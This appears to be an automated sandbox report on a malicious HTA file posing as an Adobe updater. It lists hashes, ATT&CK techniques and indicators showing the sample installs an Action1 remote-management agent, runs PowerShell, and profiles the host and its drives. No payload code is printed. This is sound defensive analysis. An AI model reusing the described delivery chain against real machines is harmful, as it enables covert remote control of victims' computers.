42941c922162e3f2b4e4f079761df01fbb9dc3bc144ec403b41471bfeede5a92

Analysis

max time kernel
52s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/10/2026, 18:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
adobe-updaters.hta
Size 3KB
Sample261020-w431catwev
SHA256 42941c922162e3f2b4e4f079761df01fbb9dc3bc144ec403b41471bfeede5a92
MD5 863bfd683857997d4ccd2c7bd728aa84
SHA1 1380c451a545495f4c17a69b977838d295590efb
SHA512 a71a5078baea807af45122fab231dda4960388590bbf353118f7eac36b78acfa48ae93d1bb29065341e40fac86ba52d96dbb7a25a626b7fb3b61e7403ae52c84
TLSH
T1A5716493584C5675A6B1332A5B9ED408F9BBD2720700F6E1F1C8E6801F2892642FBDFD
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion discovery execution persistence ransomware

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://update.microsoft.com

Signatures

Executes dropped EXE 3 IoCs

pid	Process
1624	action1_agent.exe
4316	action1_agent.exe
2112	action1_agent.exe

Loads dropped DLL 4 IoCs

pid	Process
3444	MsiExec.exe
3444	MsiExec.exe
3444	MsiExec.exe
5140	MsiExec.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ifconfig.me
87	ifconfig.me

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Action1\7971f918-a847-4430-9279-4a52d1efe18d	powershell.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\fr_CA\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\uz\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\en\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\pt_PT\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\si\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\sw\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\~DF17DFC5008E73B312.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6695.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_cmf5bfzt.s4w.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_0glymaoc.jck.psm1	powershell.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\page_embed_script.js	msedge.exe
File created	C:\Windows\Action1\agent_downgrade.version_pair.tmp	action1_agent.exe
File created	C:\Windows\Action1\scripts\DataSource_1004.ps1	action1_agent.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\offscreendocument.html	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\ca\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\pt_BR\messages.json	msedge.exe
File created	C:\Windows\Action1\rule_data\1000.suppress	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_b1okqnn4.0e1.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_g2a14rv4.qgr.psm1	powershell.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\es_419\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\lt\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\sr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\es\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\fa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\fr\messages.json	msedge.exe
File created	C:\Windows\Installer\SourceHash{E6D8B066-2E74-458F-9111-24857C1C627A}	msiexec.exe
File created	C:\Windows\Action1\action1_remote.exe	msiexec.exe
File created	C:\Windows\Action1\rules.json	action1_agent.exe
File created	C:\Windows\Action1\scripts\DataSource_1008.ps1	action1_agent.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\ur\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\zu\messages.json	msedge.exe
File created	C:\Windows\Action1\action1_agent.exe.connection	action1_agent.exe
File created	C:\Windows\Action1\schedule.json	action1_agent.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\service_worker_bin_prod.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\eu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\uk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\zh_HK\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\hu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\en_GB\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\cs\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\fi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_exo2f405.01o.psm1	powershell.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\vi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\en_US\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\mn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\ja\messages.json	msedge.exe
File created	C:\Windows\Action1\sas.dll	msiexec.exe
File created	C:\Windows\Installer\{E6D8B066-2E74-458F-9111-24857C1C627A}\ProductIcon	msiexec.exe
File created	C:\Windows\SystemTemp\msedge_url_fetcher_1360_355326521\GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_111_1_0.crx	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\kk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\th\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\ne\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\sv\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_metadata\verified_contents.json	msedge.exe
File opened for modification	C:\Windows\Installer\e595f2d.msi	msiexec.exe
File created	C:\Windows\Action1\datasource_data\1008.poll.tmp	action1_agent.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\nl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\gl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\ta\messages.json	msedge.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI61DD.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\da\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1360_756481306\_locales\az\messages.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 41 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5396	powershell.exe
1088	powershell.exe
4288	powershell.exe
1508	powershell.exe
6136	powershell.exe
1096	powershell.exe
2220	powershell.exe
1096	powershell.exe
5776	powershell.exe
1168	powershell.exe
3372	powershell.exe
3780	powershell.exe
5588	powershell.exe
5364	powershell.exe
4204	powershell.exe
5292	powershell.exe
952	powershell.exe
1088	powershell.exe
2792	powershell.exe
5384	powershell.exe
4296	powershell.exe
4728	powershell.exe
2292	powershell.exe
4260	powershell.exe
4760	powershell.exe
4428	powershell.exe
3716	powershell.exe
3784	powershell.exe
3560	powershell.exe
5200	powershell.exe
2324	powershell.exe
4124	powershell.exe
4768	powershell.exe
752	powershell.exe
2792	powershell.exe
1488	powershell.exe
2332	powershell.exe
5848	powershell.exe
3504	powershell.exe
5116	powershell.exe
5640	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4324	cmd.exe
4800	cmd.exe
936	cmd.exe
108	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	action1_agent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	action1_agent.exe

System Location Discovery: System Language Discovery 1 TTPs 19 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 6 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5108	PING.EXE
108	cmd.exe
2860	PING.EXE
4800	cmd.exe
3304	PING.EXE
936	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2928	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29\52C64B7E\@%SystemRoot%\System32\wuaueng.dll,-400 = "Windows Update"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.Edge.GameAssist_1.0.3456.0_x64__8wekyb3d8bbwe%5Cresources.pri\1dd420633e4567c	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.SecHealthUI_1000.26100.1.0_x64__8wekyb3d8bbwe%5Cresources.pri\1da840c5479071a\a37dfe62	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29\52C64B7E\@%SystemRoot%\System32\ci.dll,-101 = "Enclave"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.SecHealthUI_1000.26100.1.0_x64__8wekyb3d8bbwe%5Cresources.pri	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe

Modifies registry class 24 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Version = "100663960"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\InstanceType = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3187685C39AD9D04484F43F57B7D8C2B	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-461973139-3212354679-1508698038-1000\{37C8CBB2-3A8C-4A45-97D7-A75E95670D90}	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\660B8D6E47E2F85419114258C7C126A7	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\PackageCode = "919D3E7E9C8C211418ADC39A1BD1B1BF"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3187685C39AD9D04484F43F57B7D8C2B\660B8D6E47E2F85419114258C7C126A7	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	msedge.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\ProductName = "Action1 Agent"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	msedge.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\660B8D6E47E2F85419114258C7C126A7\A1_Agent	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\ProductIcon = "C:\\Windows\\Installer\\{E6D8B066-2E74-458F-9111-24857C1C627A}\\ProductIcon"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\PackageName = "action1.msi"	msiexec.exe

Runs net.exe

Runs ping.exe 1 TTPs 3 IoCs

Remote System Discovery

T1018

pid	Process
3304	PING.EXE
5108	PING.EXE
2860	PING.EXE

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
4496	msiexec.exe
4496	msiexec.exe
4204	powershell.exe
4204	powershell.exe
4204	powershell.exe
2292	powershell.exe
2292	powershell.exe
2292	powershell.exe
1096	powershell.exe
1096	powershell.exe
1096	powershell.exe
1096	powershell.exe
1096	powershell.exe
1096	powershell.exe
4768	powershell.exe
4768	powershell.exe
4768	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
1360	msedge.exe
1360	msedge.exe
1360	msedge.exe
1360	msedge.exe
1360	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5096	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5096	msiexec.exe
Token: SeSecurityPrivilege	4496	msiexec.exe
Token: SeCreateTokenPrivilege	5096	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5096	msiexec.exe
Token: SeLockMemoryPrivilege	5096	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5096	msiexec.exe
Token: SeMachineAccountPrivilege	5096	msiexec.exe
Token: SeTcbPrivilege	5096	msiexec.exe
Token: SeSecurityPrivilege	5096	msiexec.exe
Token: SeTakeOwnershipPrivilege	5096	msiexec.exe
Token: SeLoadDriverPrivilege	5096	msiexec.exe
Token: SeSystemProfilePrivilege	5096	msiexec.exe
Token: SeSystemtimePrivilege	5096	msiexec.exe
Token: SeProfSingleProcessPrivilege	5096	msiexec.exe
Token: SeIncBasePriorityPrivilege	5096	msiexec.exe
Token: SeCreatePagefilePrivilege	5096	msiexec.exe
Token: SeCreatePermanentPrivilege	5096	msiexec.exe
Token: SeBackupPrivilege	5096	msiexec.exe
Token: SeRestorePrivilege	5096	msiexec.exe
Token: SeShutdownPrivilege	5096	msiexec.exe
